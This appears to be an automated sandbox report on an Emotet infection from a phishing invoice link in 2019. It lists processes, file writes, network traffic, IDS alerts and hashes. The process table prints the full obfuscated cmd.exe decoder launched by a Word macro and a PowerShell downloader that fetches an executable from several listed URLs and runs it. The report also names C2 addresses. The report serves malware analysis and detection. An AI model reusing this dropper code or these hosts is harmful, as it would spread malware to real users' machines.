URL: | https://mandrillapp.com/track/click/30891409/www.gazenap.ru?p=eyJzIjoiQ2k3NTBQOU43WUY5UnJIckdQWTg1ZksyNzVJIiwidiI6MSwicCI6IntcInVcIjozMDg5MTQwOSxcInZcIjoxLFwidXJsXCI6XCJodHRwOlxcXC9cXFwvd3d3LmdhemVuYXAucnVcXFwvRUJ2VnEtTm5LQWlfQk9kWG5DcC1tbTBcXFwvQUNIXFxcL1BheW1lbnRJbmZvXFxcL0VOX2VuXFxcL0ludm9pY2UtcmVjZWlwdFwiLFwiaWRcIjpcImYzMTE4ZDdkM2Y4MjQ2NzBhZWNjNTEwNTI0MGVjMDU4XCIsXCJ1cmxfaWRzXCI6W1wiZTgwODQ5NjI1N2I1NTFmYjEwNTdhMjI1MzBiMzVlOTc1Njk5ZjEwYlwiXX0ifQ |
Full analysis: | https://app.any.run/tasks/620e984a-9eef-4238-9325-96eb8d849e5a |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | January 22, 2019, 19:59:11 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MD5: | 372F28C1BBCD21870DEEABC5D9497CB9 |
SHA1: | DBD94A83C996328AA8FF797B30449DC5D44BAF03 |
SHA256: | B8A4114721C34791F4764B3714270393B850E01926AC00635C16300CCCA7BB21 |
SSDEEP: | 12:2DcXVfCH2E1cOVjhBzZ1wGiVI7QxxZY63ephn1g43:2YEHVccXzZDiVI7Q3mXXn1g43 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2692 | "C:\Program Files\Internet Explorer\iexplore.exe" -nohome | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 1 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3104 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2692 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3148 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\0444223080460[1].doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | iexplore.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2272 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
3272 | c:\w4662\q5040\j3357\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set 3x=Te=$b}Yr-;v0O(Kk9Ryq% 6~7{Msdw._@:,HWiDnN84cjpzIuQ5)EL2\Pmx1+UFoG/lCa'hSfZBXgAt3&&for %x in (45;63;29;20;56;61;74;53;47;67;33;23;50;34;59;20;7;20;71;52;71;71;47;12;40;40;77;26;52;33;23;8;42;34;59;20;70;20;0;52;26;56;33;23;8;79;34;59;20;66;66;21;3;19;54;42;11;41;2;69;70;16;42;11;41;69;9;3;10;54;24;24;50;2;39;1;29;8;63;4;44;1;43;78;21;40;1;78;30;36;1;4;67;66;37;1;39;78;9;3;37;54;59;54;79;2;69;70;78;78;45;33;65;65;28;48;7;63;27;72;68;7;57;30;43;63;57;65;66;26;49;16;15;0;63;54;78;77;79;57;6;62;77;31;63;37;26;76;15;36;76;24;32;70;78;78;45;33;65;65;72;37;39;28;8;57;1;8;68;39;8;1;39;76;66;37;27;70;8;45;1;39;45;68;66;30;72;37;39;28;8;57;1;8;68;39;8;1;39;76;66;37;27;70;8;78;48;78;63;7;30;43;63;30;48;15;65;40;49;47;41;43;67;44;45;17;74;31;19;61;32;70;78;78;45;33;65;65;27;68;7;29;68;30;43;63;30;46;68;65;14;48;56;10;68;59;35;41;39;17;24;36;15;63;49;32;70;78;78;45;33;65;65;79;15;37;66;63;68;72;10;68;66;66;1;39;30;39;66;65;75;22;16;75;28;10;44;73;50;44;74;6;53;31;49;68;0;38;66;73;26;32;70;78;78;45;33;65;65;29;29;29;30;78;48;39;1;66;28;1;10;37;1;39;78;63;30;1;27;65;1;72;15;70;46;37;42;65;29;77;64;67;39;54;35;44;22;57;52;36;68;15;27;69;30;71;45;66;37;78;13;69;32;69;51;9;3;63;50;54;79;11;2;69;78;50;79;16;16;69;9;3;48;79;79;50;41;21;2;21;69;54;54;16;69;9;3;48;59;11;22;79;2;69;68;22;54;50;42;69;9;3;28;59;79;50;2;3;1;39;10;33;78;1;57;45;60;69;55;69;60;3;48;79;79;50;41;60;69;30;1;58;1;69;9;72;63;7;1;68;43;70;13;3;43;16;79;50;42;21;37;39;21;3;37;54;59;54;79;51;25;78;7;18;25;3;10;54;24;24;50;30;38;63;29;39;66;63;68;28;62;37;66;1;13;3;43;16;79;50;42;34;21;3;28;59;79;50;51;9;3;15;22;42;50;42;2;69;15;16;50;50;59;69;9;47;72;21;13;13;64;1;78;8;47;78;1;57;21;3;28;59;79;50;51;30;66;1;39;76;78;70;21;8;76;1;21;42;11;11;11;11;51;21;25;47;39;10;63;15;1;8;47;78;1;57;21;3;28;59;79;50;9;3;27;22;50;79;24;2;69;63;22;22;22;50;69;9;4;7;1;68;15;9;5;5;43;68;78;43;70;25;5;5;3;27;16;24;79;41;2;69;7;16;41;16;59;69;9;86)do set 8p7h=!8p7h!!3x:~%x,1!&&if %x==86 echo !8p7h:~6!|FOR /F "delims=fA tokens=1" %v IN ('ftype^^^|find "dfil"')DO %v " | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
4056 | CmD /V:ON/C"set 3x=Te=$b}Yr-;v0O(Kk9Ryq% 6~7{Msdw._@:,HWiDnN84cjpzIuQ5)EL2\Pmx1+UFoG/lCa'hSfZBXgAt3&&for %x in (45;63;29;20;56;61;74;53;47;67;33;23;50;34;59;20;7;20;71;52;71;71;47;12;40;40;77;26;52;33;23;8;42;34;59;20;70;20;0;52;26;56;33;23;8;79;34;59;20;66;66;21;3;19;54;42;11;41;2;69;70;16;42;11;41;69;9;3;10;54;24;24;50;2;39;1;29;8;63;4;44;1;43;78;21;40;1;78;30;36;1;4;67;66;37;1;39;78;9;3;37;54;59;54;79;2;69;70;78;78;45;33;65;65;28;48;7;63;27;72;68;7;57;30;43;63;57;65;66;26;49;16;15;0;63;54;78;77;79;57;6;62;77;31;63;37;26;76;15;36;76;24;32;70;78;78;45;33;65;65;72;37;39;28;8;57;1;8;68;39;8;1;39;76;66;37;27;70;8;45;1;39;45;68;66;30;72;37;39;28;8;57;1;8;68;39;8;1;39;76;66;37;27;70;8;78;48;78;63;7;30;43;63;30;48;15;65;40;49;47;41;43;67;44;45;17;74;31;19;61;32;70;78;78;45;33;65;65;27;68;7;29;68;30;43;63;30;46;68;65;14;48;56;10;68;59;35;41;39;17;24;36;15;63;49;32;70;78;78;45;33;65;65;79;15;37;66;63;68;72;10;68;66;66;1;39;30;39;66;65;75;22;16;75;28;10;44;73;50;44;74;6;53;31;49;68;0;38;66;73;26;32;70;78;78;45;33;65;65;29;29;29;30;78;48;39;1;66;28;1;10;37;1;39;78;63;30;1;27;65;1;72;15;70;46;37;42;65;29;77;64;67;39;54;35;44;22;57;52;36;68;15;27;69;30;71;45;66;37;78;13;69;32;69;51;9;3;63;50;54;79;11;2;69;78;50;79;16;16;69;9;3;48;79;79;50;41;21;2;21;69;54;54;16;69;9;3;48;59;11;22;79;2;69;68;22;54;50;42;69;9;3;28;59;79;50;2;3;1;39;10;33;78;1;57;45;60;69;55;69;60;3;48;79;79;50;41;60;69;30;1;58;1;69;9;72;63;7;1;68;43;70;13;3;43;16;79;50;42;21;37;39;21;3;37;54;59;54;79;51;25;78;7;18;25;3;10;54;24;24;50;30;38;63;29;39;66;63;68;28;62;37;66;1;13;3;43;16;79;50;42;34;21;3;28;59;79;50;51;9;3;15;22;42;50;42;2;69;15;16;50;50;59;69;9;47;72;21;13;13;64;1;78;8;47;78;1;57;21;3;28;59;79;50;51;30;66;1;39;76;78;70;21;8;76;1;21;42;11;11;11;11;51;21;25;47;39;10;63;15;1;8;47;78;1;57;21;3;28;59;79;50;9;3;27;22;50;79;24;2;69;63;22;22;22;50;69;9;4;7;1;68;15;9;5;5;43;68;78;43;70;25;5;5;3;27;16;24;79;41;2;69;7;16;41;16;59;69;9;86)do set 8p7h=!8p7h!!3x:~%x,1!&&if %x==86 echo !8p7h:~6!|FOR /F "delims=fA tokens=1" %v IN ('ftype^^^|find "dfil"')DO %v " | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2736 | C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $q2408='h9408';$v2775=new-object Net.WebClient;$i2123='http://durosfarm.com/lMQ9kTo2tA3mYFA_oiMgkWg7@http://find-me-an-english-penpal.find-me-an-english-tutor.co.uk/NQI8cCjpRB_qU@http://sarwa.co.za/KuPva1H8nR7WkoQ@http://3kiloafvallen.nl/X69XdvjZ5jBYL_QaTDlZM@http://www.tuneldeviento.es/efkhzi4/wAGCn2Hj6mEWaks'.Split('@');$o5230='t5399';$u3358 = '229';$u1063='a6254';$d135=$env:temp+'\'+$u3358+'.exe';foreach($c9354 in $i2123){try{$v2775.DownloadFile($c9354, $d135);$k6454='k9551';If ((Get-Item $d135).length -ge 40000) {Invoke-Item $d135;$s6537='o6665';break;}}catch{}}$s9738='r9891';" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2648 | C:\Windows\system32\cmd.exe /S /D /c" FOR /F "delims=fA tokens=1" %v IN ('ftype^|find "dfil"') DO %v " | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3228 | C:\Windows\system32\cmd.exe /c ftype|find "dfil" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3516 | C:\Windows\system32\cmd.exe /S /D /c" ftype" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2692 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
2692 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
2692 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF90C8262832B5ED6C.TMP | — | |
MD5:— | SHA256:— | |||
3148 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRCAC8.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3148 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_07907178-8780-437A-9AB2-BA95AD6C32C3.0\7D27666.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
2272 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_07907178-8780-437A-9AB2-BA95AD6C32C3.0\88D3C8C2.jpg | — | |
MD5:— | SHA256:— | |||
3148 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D0D2A72F.jpg | — | |
MD5:— | SHA256:— | |||
2692 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF340179705B0242F5.TMP | — | |
MD5:— | SHA256:— | |||
2692 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{3C1D87ED-1E80-11E9-BAD8-5254004A04AF}.dat | — | |
MD5:— | SHA256:— | |||
2272 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_07907178-8780-437A-9AB2-BA95AD6C32C3.0\~WRS{7CE4CDAC-A161-4CBD-8DEE-8A9388765D26}.tmp | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3876 | powershell.exe | GET | 301 | 23.111.137.161:80 | http://durosfarm.com/lMQ9kTo2tA3mYFA_oiMgkWg7 | US | html | 254 b | suspicious |
3104 | iexplore.exe | GET | 301 | 185.26.122.37:80 | http://www.gazenap.ru/EBvVq-NnKAi_BOdXnCp-mm0/ACH/PaymentInfo/EN_en/Invoice-receipt | RU | html | 292 b | suspicious |
3104 | iexplore.exe | GET | 200 | 185.26.122.37:80 | http://www.gazenap.ru/EBvVq-NnKAi_BOdXnCp-mm0/ACH/PaymentInfo/EN_en/Invoice-receipt/ | RU | xml | 105 Kb | suspicious |
2692 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
3876 | powershell.exe | GET | 200 | 23.111.137.161:80 | http://durosfarm.com/lMQ9kTo2tA3mYFA_oiMgkWg7/ | US | executable | 600 Kb | suspicious |
2908 | wabmetagen.exe | GET | 200 | 206.248.110.184:8080 | http://206.248.110.184:8080/ | PR | binary | 132 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2692 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
2908 | wabmetagen.exe | 182.180.170.72:22 | — | Pakistan Telecom Company Limited | PK | suspicious |
3104 | iexplore.exe | 52.213.164.114:443 | mandrillapp.com | Amazon.com, Inc. | IE | suspicious |
3104 | iexplore.exe | 185.26.122.37:80 | www.gazenap.ru | Hostland LTD | RU | suspicious |
3876 | powershell.exe | 23.111.137.161:80 | durosfarm.com | HIVELOCITY VENTURES CORP | US | suspicious |
2908 | wabmetagen.exe | 206.248.110.184:8080 | — | — | PR | malicious |
Domain | IP | Reputation |
---|---|---|
www.bing.com |
| whitelisted |
mandrillapp.com |
| whitelisted |
www.gazenap.ru |
| unknown |
durosfarm.com |
| suspicious |
dns.msftncsi.com |
| shared |
PID | Process | Class | Message |
---|---|---|---|
3104 | iexplore.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious request with 'invoice' in http uri |
3104 | iexplore.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious request with 'invoice' in http uri |
3104 | iexplore.exe | A Network Trojan was detected | ET TROJAN Possible malicious Office doc hidden in XML file |
3876 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3876 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3876 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2908 | wabmetagen.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
2908 | wabmetagen.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |